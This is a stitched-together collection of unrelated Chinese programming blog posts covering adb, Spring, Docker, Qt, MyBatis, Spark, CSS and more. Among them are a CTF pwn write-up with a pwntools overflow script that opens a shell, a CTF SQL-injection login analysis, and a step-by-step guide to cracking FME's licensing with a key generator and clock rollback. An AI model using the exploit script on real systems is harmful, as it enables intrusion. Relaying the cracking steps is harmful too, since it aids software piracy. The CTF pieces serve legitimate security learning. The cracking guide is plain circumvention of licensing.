经典资源网站地址

http://blog.javachen.com https://kaimingwan.com 转载于:https://www.cnblogs.com/xjh713/p/9799867.html

关于模拟器adb 端口查看

4.4和5.1内核版本 端口都是不同 但是可以看出规律 使用 adb devices查看 一、如何找到adb? 安装逍遥安卓模拟器后,电脑桌面会有“逍遥拟器”的启动图标,鼠标右键–打开文件所在的位置,就会进入***\Microvirt\MEmu,比如路径是C:\Program Files (x86)\NoxMicrovirt\MEmu,然后可以在该路径下找到adb.exe 二、如何连接设备? 首先需要进入\Microvirt\MEmu路径的cmd窗口,如何进入? 方式一:继续上述的步骤,进入\Microvirt\MEmu目录,然后按Shift键的同时,单击鼠标右键,就会看到“在此处打开命令窗口(W)”,点击即可进入\Microvirt\MEmu路径的cmd窗口。 方式二:按Windows+R键,在弹出的“运行”窗口输入cmd,确定,然后输入cd C:\Program Files Microvirt\MEmu 操作如下 比如: 我启动模拟器 1 2 3adb 连接 就是 List of devices attached 127.0.0.1:21513 device 127.0.0.1:21523 device 127.0.0.1:21533 device 可以看到规律 215+1加3开始215 +2加3 215+3加3以此类推 常用adb操作 1、如何把电脑上的文件或文件夹传到模拟器里面? adb push D:/1.avi /mnt/avi/ 2、如何把模拟器里面的文件或文件夹传到电脑上? adb pull /mnt/avi/sex.avi D:/avi/ 3、安装APK adb install d:\qq.apk 4、卸载APK adb uninstall 包名 比如卸载QQ:adb uninstall com.tencent.mobileqq 5、PM包命令 1)获取模拟器所有包名 adb shell pm list packages 2)获取模拟器所有包名并且包括APK路径

required string parameter ‘XXX‘is not present 的几种情况

required string parameter 'XXX'is not present 的几种情况 情况一:原因是由于头文件类型不对,可以在MediaType中选择合适的类型,例如GET和POST 情况二:jquery提交delete时,不支持@RequestParam,只支持@PathVariable形式 情况三:若api在调用的时候,如果存在重类型,但不重名;例如:/id与/name,两者在类型上是一样的 情况四:这里提示Required String parameter 'XXX' is not present并不一定是XXX的错,也有可能是后面的参数错误。总的来说就是页面传递的参数和后台接受参数名自不匹配。 情况五:传递的参数里面包含特殊符号,比如前台传递字符串不能包含逗号等。(待证明) 情况六:传的参数是undefined; 情况七:换一种请求方式试试,比如现在用的是POST提交方式,改为GET/PUT等其他方式。

高版本JDK的项目在低版本运行报 a jni error has occurred 错误解决方法

这个问题确实是由较高版本的JDK编译的java class文件试图在较低版本的JVM上运行产生的错误。 1、解决措施就是保证jvm(java命令)和jdk(javac命令)版本一致。如果是linux版本,则在命令行中分别输入java -version和javac -version命令来查看版本是否一致。这里假设都是1.7版本。 2、如果都一致,但还是解决不了问题,那么你肯定不是直接在命令行中用javac来编译的,而是用类似于eclipse、netbeans这样的编译器来编译的。因为很多编译器都自带javac,而不是采用操作系统中的编译器。如果你的编译器是eclipse的话,那么需要在项目的属性里设置jdk版本,方法是右击项目-->properties-->java compiler --> Enable project specific settings -->将compiler compliance level设置为1.7,也就是与jvm一致的版本(在命令行中java -version所显示的版本)。 综上,如果你是用编译器来编译的话,请首先确保编译器自带的jdk版本是否和操作系统中的java版本一致。

【ASP.Net Core】发布并在Docker中运行服务器

一、Linux环境问题 现在要部署一个用ASP.Net Core 2.1开发的服务器到CentOS6系统上,因为只是临时用下,所以打算直接独立发布,这样服务器上不用装asp runtime也可以跑起来,就是一个绿色程序的概念,和go一样,丢上去就能跑 注意"部署模式"选择的独立,运行时选择的linux-x64。 但是因为CentOS6这个系统自带的libc/libstdc++版本都很低,而ASP.Net Core 2.1生成的程序依赖的版本高,所以它依然跑不起来,作为linux小白的我,折腾半天后放弃了,决定改用Docker。 二、使用Docker 网上大部分教程都是采用编写Dockerfile文件的方法,然后打包程序到一个新镜像中,而我不用这种方法。我这里直接通过docker运行本地程序。 1、拉取镜像文件 拉取微软官方aspcore runtime镜像文件,执行“docker pull microsoft/dotnet:aspnetcore-runtime”,注意这里使用的是带“aspnetcore-runtime”TAG的镜像,这个镜像才有runtime。如果需要拉取特定的版本,比如2.1版本,可以用“docker pull microsoft/dotnet:2.1-aspnetcore-runtime”这样的写法,更多说明见https://hub.docker.com/r/microsoft/dotnet 拉取成功后通过“docker images”来查看 2、发布程序 注意部署模式改为“框架依赖”,目标运行时改为“可移植”。发布成功后将文件拷贝到服务器上,比如我放在“/home/www”下面。 最后执行“docker run -d -p 5000:80 -v /home/www:/app --workdir /app microsoft/dotnet:aspnetcore-runtime dotnet /app/MyServer.dll”,服务器就能跑起来了! -d参数表示容器在后台运行,我们不需要进入到容器。 -p参数表示端口映射,“-p 5000:80”表示将容器的80端口映射到本地5000端口。 -v参数表示目录映射,将服务器的/home/www目录挂到容器的/app目录。 --workdir参数表示容器中服务程序的工作路径,也就是我们映射的/app目录。 “microsoft/dotnet:aspnetcore-runtime”表示要运行的镜像。 最后的"dotnet /app/MyServer.dll"表示容器启动后要执行的命令,这里也就是启动服务程序了,MyServer.dll是我的主程序文件名,你们修改为自己的即可。 最后可以通过"docker ps"来查看正在运行中的容器。

护网杯pwn题目gettingStart

拖进IDA 通过main函数的代码显而易见 v7需要等于0x7FFFFFFFFFFFFFF以及v8需要等于0.1 通过buf进行覆盖即可 0.1在内存中的值为4591870180066957722 double a = 0.1; printf("%lld\n", *(long long*)&a); //输出4591870180066957722 编写脚本 from pwn import * r = remote('xxxxxxx',port) #此处填写你的题目ip和端口 r.send(b"a"*0x18+p64(0x7FFFFFFFFFFFFFF)+p64(4591870180066957722)) r.interactive() #进入shell交互后 #输入ls可以看到目录下有个flag文件 #cat flag即得到答案

QT界面布局之QGridLayout网格布局

之前一直用拖控件的方式来做ui界面,最大的心得就是,要充分利用“布局类型”和“弹簧”。 但是对于动态界面来说(例如,用户点击某个按钮后,要在界面中添加一个新控件),通过拖拽设计的ui就力不从心了。 今天记录下如何用代码来添加布局,并把各个空间放置到这个布局中去。 在ui设计师拖拽空间的界面,我们可以看到共有4种布局类型: 用法都是差不多的,这里以网格类型为例,QGridLayout。 布局类的代码可以这样,在ui中拖入一些控件并设置布局,然后读读QT自动生成的这个函数就能学会了: 1、设置布局所在的控件 布局必须被某个widget接管才能有效(也即给某个widget设置布局),一般我们会给容器类的控件设置布局,例如:窗口QDialog、组QGroupBox、框QFrame等等。 也即每个布局必须依附于某个widget才行,有两种方法: (1)构造时直接设置:代码为QGridLayout(QWidget *parent), (2)例如:frameGridLayout.setParent(ui->checkBoxFrame->layout());注意:布局类的parent必须也是布局类,而不能是QWidget。 (3)直接给QWidget设置布局: QGridLayout my_GridLayout; ui->groupBox_2->setLayout(&my_GridLayout); 2、向布局中添加控件和弹簧 添加控件的3个重载函数为: (1)void QLayout::addWidget(QWidget *wwidget) (2)void QGridLayout::addWidget(QWidget *widget, int row, int column, Qt::Alignment alignment = Qt::Alignment()) (3)void QGridLayout::addWidget(QWidget *widget, int fromRow, int fromColumn, int rowSpan, int columnSpan, Qt::Alignment alignment = Qt::Alignment()) 形参解释:widget要放置的控件指针;row/column将控件放在第几行几列中;fromRow从第几行开始放;rowSpan总共要占几行;alignment为控件在网格中的布局方式,有:靠上/下/左/右、居中、自适应文字等方式。 添加弹簧和添加控件类似,只不过用的是addItem,自行查阅帮助即可

Linux下使用JTAG

Ubuntu 下的Linux打开Programer之后找不到Jtag硬件,原因是没有启动守护进程。 这里有一篇文章讲述如何设置jtag的权限,让普通用户可以访问 http://www.fpga-dev.com/altera-usb-blaster-with-ubuntu/ 其实不需要这么复杂,只需要使用root权限启动jtag daemon就可以了: sudo /tools/intelFPGA/18.1_pro/quartus/bin/jtagd 这时输入 jtagconfig可以看到: 1) A10P3S [1-1.1] 02E660DD 10AX115H1(.|E2|ES)/10AX115H2/.. [1]+ Done

MyBatis(一) 概述与SQL定制、对象映射

个人博客网:https://wushaopei.github.io/ (你想要这里多有) 一、MyBatis概述 1、mybatis简介 MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架。 MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。 MyBatis可以使用简单的XML或注解用于配置和原始映射,将接口和Java的POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录. 2、mybatis历史 原是apache的一个开源项目iBatis, 2010年6月这个项目由apache software foundation 迁移到了google code,随着开发团队转投Google Code旗下,ibatis3.x正式更名为Mybatis ,代码于2013年11月迁移到Github(下载地址见后)。 iBATIS一词来源于“internet”和“abatis”的组合,是一个基于Java的持久层框架。iBATIS提供的持久层框架包括SQL Maps和Data Access Objects(DAO) 3、为什么要使用mybatis MyBatis是一个半自动化的持久化层框架。 jdbc编程---当我们使用jdbc持久化的时候,sql语句被硬编码到java代码中。这样耦合度太高。代码不易于维护。在实际项目开发中会经常添加sql或者修改sql,这样我们就只能到java代码中去修改。 Hibernate和JPA 长难复杂SQL,对于Hibernate而言处理也不容易 内部自动生产的SQL,不容易做特殊优化。 基于全映射的全自动框架,javaBean存在大量字段时无法只映射部分字段。导致数据库性能下降。 对开发人员而言,核心sql还是需要自己优化 sql和java编码分开,功能边界清晰,一个专注业务、一个专注数据。 可以使用简单的XML或注解用于配置和原始映射,将接口和Java的POJO映射成数据库中的记录。成为业务代码+底层数据库的媒介 4、理解 SqlSession及其子父类的含义! SqlSession的使用范围 SqlSession中封装了对数据库的操作,如:查询、插入、更新、删除等。SqlSession通过SqlSessionFactory创建。SqlSessionFactory是通过SqlSessionFactoryBuilder进行创建。 SqlSessionFactoryBuilder SqlSessionFactoryBuilder用于创建SqlSessionFacoty,SqlSessionFacoty一旦创建完成就不需要SqlSessionFactoryBuilder了,因为SqlSession是通过SqlSessionFactory创建的。所以可以将SqlSessionFactoryBuilder当成一个工具类使用,最佳使用范围是方法范围即方法体内局部变量。 SqlSessionFactory SqlSessionFactory是一个接口,接口中定义了openSession的不同重载方法,SqlSessionFactory的最佳使用范围是整个应用运行期间,一旦创建后可以重复使用,通常以单例模式管理SqlSessionFactory。 SqlSession SqlSession是一个面向用户的接口,sqlSession中定义了数据库操作方法。 每个线程都应该它自己的SqlSession实例。SqlSession的实例不能共享使用,它也是线程不安全的。因此最佳的范围是请求或方法范围。绝对不能将SqlSession实例的引用放在一个类的静态字段或实例字段中。 二、MyBatis的Hello示例程序 1、创建一个数据库和一个单表 drop database if exists mybatis; create database mybatis; use mybatis; ## 创建单表 #################################################################### create table t_user( `id` int primary key auto_increment, `last_name` varchar(50), `sex` int ); insert into t_user(`last_name`,`sex`) values('wsp168',1); select * from t_user; 2、搭建mybatis开发环境 创建一个java工程

微信小程序登录Java后台接口

微信小程序登录java后台接口 首先看一下微信小程序的开发文档: 微信小程序开发文档 步骤: 小程序端向微信接口服务发送请求——wx.login();获取到登录临时凭证code小程序端拿着获取到的code向后台(这里是java服务端),使用wx.request()向自己的服务器发送请求(接口服务器自己定义)后台服务器拿着小程序端传过来的code,以及自己的APPID,secretKey向微信方发送HttpGet请求后台服务器获取到微信方返回回来的openId,session_key,然后加上自己本地的登录状态(本地自己定义),发送给小程序端小程序端接收到后台传输过来的登录状态,保存到storage中以供以后使用。 具体实现步骤 小程序端 随便弄一个按钮,绑定下面的方法 //与后端通信 bindtest: function (){ wx.login({ success:res=>{ let _code=res.code; //获取到code之后再发送给后端 wx.request({ url: 'http://localhost:8080/login', data:{ code:_code, }, method:'POST', header: { 'content-type': 'application/x-www-form-urlencoded' // 默认是json }, success: function (res) { console.log(res.data); }, fail: function (res) { console.log(".....fail....."); } }) } }) } java服务器端 package com.kylin.wxtest.controller; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.kylin.wxtest.bean.Login; import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.springframework.web.bind.annotation.GetMapping; import org.

FME、MYFME安装破解教程

FME安装包和破解链接: https://pan.baidu.com/s/1wU5kkvNBkY3tb1BsKuAdtg 提取码:edin MYFME:(针对国产数据,如MAPGIS的插件) 安装包和破解链接: 链接:https://pan.baidu.com/s/1fflJsaBtcYCDSvkAsSpkIQ 提取码:j5qb 一、装他 (1)打开fme2016文件夹,找到fme-desktop-b16492-win-x86并点击安装。 (2)点I agree, 点next。 (3)选择你想装的地方,不要忘了。这里是默认的。 (4)一路默认next即可。 (这里可以点掉√) (5)完成安装。文件夹里还有一个汉化包,可以装,但没必要。 这里会弹出来一个验证窗口,不要管他,也不要关掉。 二、破他 (1)找到文件夹里的AMPEDX64(64位的,如果你的电脑是32位的就在文件夹外面用FME2016 CRACK里的AMPED),打开fme-flexnet-wein.x64.msi。 选择你想安装的地方,同样别忘了。这里是默认的。 (2)装好了之后,会弹出来一个hostid的记事本,不要关掉。 (如果你不小心关掉了这个文件夹,有两种方法可以找到hostid: 一是打开命令提示符,输入ipconfig /all,按回车键,此时会列出有关你计算机的详细信息,包括计算机名和物理地址;二是打开你刚才安装fme-flexnet-win-x86.msi时的存储文件夹,里面有一个hostid.txt文件,实际上这个文件的作用就是记录你电脑名和物理地址信息。不管哪种方法,你要做的就是复制你的电脑名和物理地址,替换COMPUTER_NAME HOSTID(需要注意的是,物理地址字符串之间用横线相连,替换的时候,把横线删掉)。) (3)安装完之后,打开license_gen文件夹里的dummy.txt,修改第一行信息: SERVER COMPUTER_NAME HOSTID并且在后面加上27005 以本机为例,第一行就应该修改为SERVER nashi 086266b625e7 40e230ad29db 27005 注意把HOSTNAME=删了。 (4)双击点击makekey.bat,然后将safe.lic复制到刚才的安装fme-flexnet-win-x86.msi时的存储文件夹FlexServer文件夹下。 (5)打开开始菜单,打开launch lmtools面板,点击config service,此时需要指定三个文件,第一imgrd,文件位置为你刚才安装fme-flexnet-win-x86.msi时的文件夹里的imgrd.exe;第二license,文件位置为你刚才安装fme-flexnet-win-x86.msi时的文件夹里的safe.lic;第三debug log,文件位置为你刚才安装fme-flexnet-win-x86.msi时的文件夹里的safe.log。然后点击右侧save service按钮,点击确定。 切换start/stop/reread,先点击start server,底下会显示start successfully,然后点击reread license,底下会显示reread license completed。 (6)至此,破解完成,此时回到第三步安装界面,点击connect to a floating license server,在方框中输入你的计算机名,此计算机名与前面的严格一致,点击next,此时,license type列出了所有支持扩展的类型,理论上随便选择哪一个都可以激活成功,看你个人需要,一般默认第一个smallworld edition就行了。 激活成功以后,就可以使用FME2016了。 安装MYFME2016是小白安装,一直往下点就可以了,不过使用的时候需要把电脑时间调回到2017年,因为许可时间在2017年。 BY 越仔&橄榄 heyhey

springboot学习收获

自己一些总结 修改网站小图标 1、在application.properties中配:spring.mvc.favicon.enabled = false 2、网站图片命名为favicon.ico; 3、将favicon.ico放在resources/static目录下; 4、ok,结束ヾ(◍°∇°◍)ノ゙ 启动彩蛋 springboot项目启动总会打印一下内容,想要更换怎么办? . ____ _ __ _ _ /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \ ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \ \\/ ___)| |_)| | | | | || (_| | ) ) ) ) ' |____| .__|_| |_|_| |_\__, | / / / / =========|_|==============|___/=/_/_/_/ :: Spring Boot :: (v1.

springboot中的过滤器

做api项目,各个接口都有对应的权限。所以使用过滤器对各个请求进行过滤。以下是学习的简单总结。 springboot中使用filter 在springboot项目中使用filter,需要注入bean: @SpringBootApplication //等同于 @Configuration @EnableAutoConfiguration @ComponentScan public class SpringbootFilterDemoApp { public static void main(String[] args) { SpringApplication.run(SpringbootFilterDemoApp.class, args); } @Bean public FilterRegistrationBean filterRegistrationBean() { FilterRegistrationBean registrationBean = new FilterRegistrationBean(); registrationBean.setFilter(new AuthorizationFilter()); // 自己的filter List<String> urlPatterns = new ArrayList<>(); urlPatterns.add("/openapi/*"); registrationBean.setUrlPatterns(urlPatterns); return registrationBean; } } 过滤器filter 以下是自己的filter类。继承Filter接口,对于满足条件的请求,使用filterChain.doFilter(request, response);将连接转发到目的地,不满足,则直接通过response写入错误信息。 /** * 过滤器:校验接口访问权限 */ public class AuthorizationFilter implements Filter{ private static final Logger logger = LoggerFactory.getLogger(AuthorizationFilter.class); private CheckAuth checkAuth; @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { // 将请求转换成HttpServletRequest 请求 HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse rsp = (HttpServletResponse) servletResponse; // 取得接口URI String currentURI = req.

django restframework PrimaryKeyRelatedField筛选的困惑

一.在开发某运动app时,遇见以下情况 1.部分表内容如下: class Sports(models.Model): ''' 运动表 ''' school = models.ForeignKey(Schools, verbose_name='学校', on_delete=models.CASCADE) sport_name = models.CharField(max_length=30, verbose_name='运动项目') image = models.ImageField(upload_to='sports/%Y/%m', verbose_name='运动封面图') add_time = models.DateTimeField(default=datetime.now, verbose_name='添加时间') class Meta: verbose_name = '运动项目' verbose_name_plural = verbose_name unique_together = ('school', 'sport_name') def __str__(self): return self.sport_name class Schedule(models.Model): ''' 发起约运动 ''' Status = ((1, '已完成'), (2, '待人加入'), (3, '已取消')) user = models.ForeignKey(UserProfile, on_delete=models.CASCADE, verbose_name='发起人') join_type = models.BooleanField(verbose_name='是否发起人') now_people = models.IntegerField(verbose_name='已有人数', null=True, blank=True) school = models.ForeignKey(Schools, on_delete=models.

CSS中的三种基本的定位机制

css定位机制 普通流定位 相对定位:absolute绝对定位:relative固定定位:fixed 浮动 普通流 简介: 默认是普通流,普通流中元素框的位置由元素在HTML中的位置决定。块级元素从上到下依次排列,框之间的垂直距离由框的垂直margin计算得到;行内元素在一行中水平布置 定位 扩展:使用了position/浮动之后,top、left的设置才有效果 相对定位 简介:相对————指的是相对于普通流的时候的位置,可以相对于普通流时候的位置进行上下左右的移动注意:使用相对定位的元素不管它是否进行移动,元素仍要占据它原来的位置。移动元素会导致它覆盖其他的框。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> <style> .myDiv1{ background-color: red; width: 200px; height: 200px; } .myDiv2{ position: relative; background-color: blue; width: 200px; height: 200px; top: 100px; left: 100px; } .myDiv3{ background-color: burlywood; width: 200px; height: 200px; } </style> </head> <body> <div class="myDiv1">你看我</div> <div class="myDiv2">你看我</div> <div class="myDiv3">你看我</div> </body> </html> 绝对定位 简介:相对于最近的父类元素,如果没有————那么就是相对于body标签,绝对定位是相对于父亲来进行上下左右的移动注意:绝对定位的框脱离普通流,所以它可以覆盖页面上的其他元素,可以通过设置Z-Iindex属性来控制这些框的堆放次序 <!

设计模式 | 模板方法模式及典型应用

本文的主要内容: 介绍模板方法模式源码分析模板方法模式的典型应用 Servlet 中的模板方法模式Mybatis BaseExecutor接口中的模板方法模式 更多内容可访问我的个人博客:laijianfeng.org 欢迎关注【小旋锋】微信公众号,及时接收博文推送 模板方法模式 在程序开发中,经常会遇到这种情况:某个方法要实现的算法需要多个步骤,但其中有一些步骤是固定不变的,而另一些步骤则是不固定的。为了提高代码的可扩展性和可维护性,模板方法模式在这种场景下就派上了用场。 譬如制作一节网课的步骤可以简化为4个步骤: 制作PPT录制视频编写笔记提供课程资料 其中1、2、3的动作在所有课程中的固定不变的,步骤3可有可无,步骤4在每个课程都不同(有些课程需要提供源代码,有些需要提供图片文件等) 我们可以在父类中确定整个流程的循序,并实现固定不变的步骤,而把不固定的步骤留给子类实现。甚至可以通过一个钩子方法,让子类来决定流程中某个方法的执行与否 模板方法模式:定义一个操作中算法的框架,而将一些步骤延迟到子类中。模板方法模式使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。模板方法模式是一种基于继承的代码复用技术,它是一种类行为型模式。 角色 AbstractClass(抽象类):在抽象类中定义了一系列基本操作(PrimitiveOperations),这些基本操作可以是具体的,也可以是抽象的,每一个基本操作对应算法的一个步骤,在其子类中可以重定义或实现这些步骤。同时,在抽象类中实现了一个模板方法(Template Method),用于定义一个算法的框架,模板方法不仅可以调用在抽象类中实现的基本方法,也可以调用在抽象类的子类中实现的基本方法,还可以调用其他对象中的方法。 ConcreteClass(具体子类):它是抽象类的子类,用于实现在父类中声明的抽象基本操作以完成子类特定算法的步骤,也可以覆盖在父类中已经实现的具体基本操作。 一个模板方法是定义在抽象类中的、把基本操作方法组合在一起形成一个总算法或一个总行为的方法。这个模板方法定义在抽象类中,并由子类不加以修改地完全继承下来。模板方法是一个具体方法,它给出了一个顶层逻辑框架,而逻辑的组成步骤在抽象类中可以是具体方法,也可以是抽象方法。 基本方法是实现算法各个步骤的方法,是模板方法的组成部分。基本方法又可以分为三种:抽象方法(Abstract Method)、具体方法(Concrete Method)和钩子方法(Hook Method)。 抽象方法:一个抽象方法由抽象类声明、由其具体子类实现。具体方法:一个具体方法由一个抽象类或具体类声明并实现,其子类可以进行覆盖也可以直接继承。钩子方法:可以与一些具体步骤 "挂钩" ,以实现在不同条件下执行模板方法中的不同步骤 示例 所以我们通过模板方法模式,在抽象类中把整个流程固定下来,其中1、2、3的实现在抽象类中完成,3的执行与否则由子类通过钩子方法来控制,4则由子类来实现 抽象类定义如下: public abstract class ACourse { protected final void makeCourse() { this.makePPT(); this.makeVideo(); if (needWriteArticle()) { this.writeArticle(); } this.packageCourse(); } final void makePPT() { System.out.println("1. 制作PPT"); } final void makeVideo() { System.out.println("2. 制作视频"); } final void writeArticle() { System.out.println("3. 编写课程笔记"); } //钩子方法 protected boolean needWriteArticle() { return false; } abstract void packageCourse(); } 复制代码 其中的 makeCourse 方法是模板方法,它定义了制作网课的基本流程,makePPT、makeVideo、writeArticle 这三个步骤在所有课程中都是固定的,所以用 final 关键字修饰;packageCourse 方法在所有课程中都可能不一样,所以声明为抽象方法,由子类自行实现;钩子方法 needWriteArticle 返回一个 boolean 类型的值,控制是否编写课程笔记

嵌入式测试 模拟共享单车

题目分享:链接:https://pan.baidu.com/s/1P16uKgLtrLjIl1o5Jo9y1Q 密码:nmbs 模拟共享单车 //功能三描述 2.3 位置信息的接收处理(GN_WZ) GPS 模块定时(1s)向外发送位置信息,锁具控制模块接收并处理 GPS 发送 位置信息。 序号 数据名称 单位 范围 1 经度 度 0-180 2 经度标志位 固定值 0X45(E-东经),0X57(W-西经) 3 纬度 度 0-90 4 纬度标志位 固定值 0X4E(N-北纬),0X53(S-南纬) 由于位置信息是 GPS 模块定时发送的,为可靠性起见,需要进行如下容错处 理: 1、当接收到的位置信息超出范围时,该 GPS 数据帧无效,做丢包处理,锁 具控制模块使用上一帧的信息; 2、经纬度标志位不正确时,锁具控制模块使用上一帧的位置信息。 3、经度、纬度四舍五入方式保留三位小数。 测试代码示例: import Manu ############标准测试模板####################### ## Test:测试数据执行函数体,【测试数据】每一行数据调用一次Test ## arg:输入参数 ## exp:预期输出 def Test(arg,exp): print 'Hello World!' for a in arg: print a for e in exp: print e Protocol_gpstime.Hour.Value=arg[0] Protocol_gpstime.

eclipes根据Java代码自动生成UML类图

懒惰使人进步。。。 比起敲代码,设计UML图的过程真的繁琐,既然繁琐,肯定就有插件可以一键生成! 然后百度发现果然有好多插件,抛去一部分版本太老的插件和教程繁琐的之后,我选择了modelgoon插件。 下载地址: 链接:https://pan.baidu.com/s/1LNQ6jFbVEUnv3MJC87_zEA 密码:omke 最后直接下载到桌面可以找到。 然后点击菜单栏的 help >> Install new Software 剩下的就是一直 next了,安装就行了 安装完,要重启一些eclipes 那么如何使用 在需要生成UML类图的项目上右键 点击 new >> other 选择第一个即可,然后起个名字,会生成.mgc文件 最后直接将项目下的java文件往 .mgc文件拖就行了

Spark数据倾斜及解决方案

一,数据倾斜现象及原理 发生数据倾斜以后的现象: 1、你的大部分的task,都执行的特别特别快,刷刷刷,就执行完了(你要用client模式,standalone client,yarn client,本地机器只要一执行spark-submit脚本,就会开始打印log),task175 finished;剩下几个task,执行的特别特别慢,前面的task,一般1s可以执行完5个;最后发现1000个task,998,999 task,要执行1个小时,2个小时才能执行完一个task。 出现数据倾斜了 还算好的,因为虽然老牛拉破车一样,非常慢,但是至少还能跑。 2、运行的时候,其他task都刷刷刷执行完了,也没什么特别的问题;但是有的task,就是会突然间,啪,报了一个OOM,JVM Out Of Memory,内存溢出了,task failed,task lost,resubmitting task。反复执行几次都到了某个task就是跑不通,最后就挂掉。 某个task就直接OOM,那么基本上也是因为数据倾斜了,task分配的数量实在是太大了!!!所以内存放不下,然后你的task每处理一条数据,还要创建大量的对象。内存爆掉了。 出现数据倾斜了 数据倾斜的原理: ​ 定位出现问题的位置: 根据log去定位 出现数据倾斜的原因,基本只可能是因为发生了shuffle操作,在shuffle的过程中,出现了数据倾斜的问题。因为某个,或者某些key对应的数据,远远的高于其他的key。 1、你在自己的程序里面找找,哪些地方用了会产生shuffle的算子,groupByKey、countByKey、reduceByKey、join 2、看log log一般会报你的哪一行代码,导致了OOM异常;或者呢,看log,看看是执行到了第几个stage!!! 哪一个stage,task特别慢,就能够自己用肉眼去对你的spark代码进行stage的划分,就能够通过stage定位到你的代码,哪里发生了数据倾斜 去找找,代码那个地方,是哪个shuffle操作。 二,聚合源数据以及过滤导致倾斜的key 聚合源数据第一个方案: spark作业的源表,hive表,其实通常情况下来说,也是通过某些hive etl生成的。hive etl可能是晚上凌晨在那儿跑。 直接在生成hive表的hive etl中,对数据进行聚合。比如按key来分组,将key对应的所有的values,全部用一种特殊的格式,拼接到一个字符串里面去,比如“key=sessionid, value: action_seq=1|user_id=1|search_keyword=火锅|category_id=001;action_seq=2|user_id=1|search_keyword=涮肉|category_id=001”。 这样每个key就只对应一条数据。在spark中,拿到key=sessionid,values,就不需要再去执行groupByKey+map这种操作了。直接对每个key对应的values字符串,map操作,进行你需要的操作即可。就不需要执行shffule操作了,也就不可能导致数据倾斜 聚合源数据方第二个方案: 你可能没有办法对每个key,就聚合出来一条数据; 那么也可以做一个妥协;对每个key对应的数据,10万条;有好几个粒度,比如10万条里面包含了几个城市、几天、几个地区的数据,现在放粗粒度;直接就按照城市粒度(group by city_id),做一下聚合,几个城市,几天、几个地区粒度的数据,都给聚合起来。比如说 city_id date area_id select … from … group by city_id 尽量去聚合,减少每个key对应的数量,也许聚合到比较粗的粒度之后,原先有10万数据量的key,现在只有1万数据量。减轻数据倾斜的现象和问题。 过滤导致倾斜的key 如果你能够接受某些数据,在spark作业中直接就摒弃掉,不使用。比如说,总共有100万个key。只有2个key,是数据量达到10万的。其他所有的key,对应的数量都是几十。 这个时候,你自己可以去取舍,如果业务和需求可以理解和接受的话,在你从hive表查询源数据的时候,直接在sql中用where条件,过滤掉某几个key。 那么这几个原先有大量数据,会导致数据倾斜的key,被过滤掉之后,那么在你的spark作业中,就不会发生数据倾斜了。 三,提高shuffle操作reduce并行度 将reduce task的数量,变多,就可以让每个reduce task分配到更少的数据量,这样的话,也许就可以缓解,或者甚至是基本解决掉数据倾斜 给我们所有的shuffle算子,比如groupByKey、countByKey、reduceByKey。在调用的时候,传入进去一个参数。那个数字,代表了那个shuffle操作的reduce端的并行度。那么在进行shuffle操作的时候,就会对应着创建指定数量的reduce task。默认是200 比如说,原本某个task分配数据特别多,直接OOM,内存溢出了,程序没法运行,直接挂掉。按照log,找到发生数据倾斜的shuffle操作,给它传入一个并行度数字,这样的话,原先那个task分配到的数据,肯定会变少。就至少可以避免OOM的情况,程序至少是可以跑的。 实际生产环境中的经验。 1、如果最理想的情况下,提升并行度以后,减轻了数据倾斜的问题,或者甚至可以让数据倾斜的现象忽略不计,那么就最好。就不用做其他的数据倾斜解决方案了。 2、不太理想的情况下,就是比如之前某个task运行特别慢,要5个小时,现在稍微快了一点,变成了4个小时;或者是原先运行到某个task,直接OOM,现在至少不会OOM了,但是那个task运行特别慢,要5个小时才能跑完。 如果出现第二种情况,就立即放弃方案,开始尝试别的方案

解决PYTHONHOME这个环境变量带来的问题

结合上一节的来说,我找到了gdb和PYTHONHOME折中的办法,就是不设置环境变量PYTHONHOME,而是在Qt5中用C++调用Python时动态地去设置“PYTHONHOME”: 结合我前面的文章看下图: 参考博客:https://blog.csdn.net/a_flying_bird/article/details/51095367

securtCRT使用问题总结

本文会不定期持续更新,在本人使用过程中遇到的问题会陆续更新到本博文。 1、主机上的设备管理器无串口显示 缺少USB驱动或者USB转串口驱动程序,通过驱动人生或者驱动精灵更新或者下载驱动 2、系统启动后,无法在securtCRT窗口执行命令 串口存在问题,原因不明,更换电脑后可以使用。但是依然存在偶尔无法在窗口执行命令的情况,串口重新插拔之后,问题解决。 3、关于使用securtCRT下载文件的说明 通过 选项--> 会话选项 --> 终端 --> X/Y/Zmodem 设置上传以及下载目录。 英文版路径为 Options --> Session Options --> Terminal --> X/Y/Zmodem 启动kernel后,通过cd命令进入到对应的文件夹中,使用rz命令进行下载。sz命令上传。

CTF之实验吧--后台登陆

本来以为不用看writeup的,因为一看网业的源代码,哇,这个能看懂。然后就去网页上找函数的作用。主要是下面这三个函数。 mysqli_query(connection,query,resultmode)函数: connection: 必需。规定要使用的 MySQL 连接。 query: 必需,规定查询字符串。 resultmode: 可选。一个常量。可以是下列值中的任意一个: MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)MYSQLI_STORE_RESULT(默认) mysqli_num_rows(result)函数: result: 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符。 md5(string)函数: string:必需。把string用md5方式加密。 http://www.runoob.com/这个网站都可以查到 接下来就是看代码的逻辑关系了。 <!-- $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密码错误!'; } --> 我们从下往上看,可以知道 $flag 这个变量就是我们要的flag了。 怎么得到呢? if(mysqli_num_rows($result)>0) 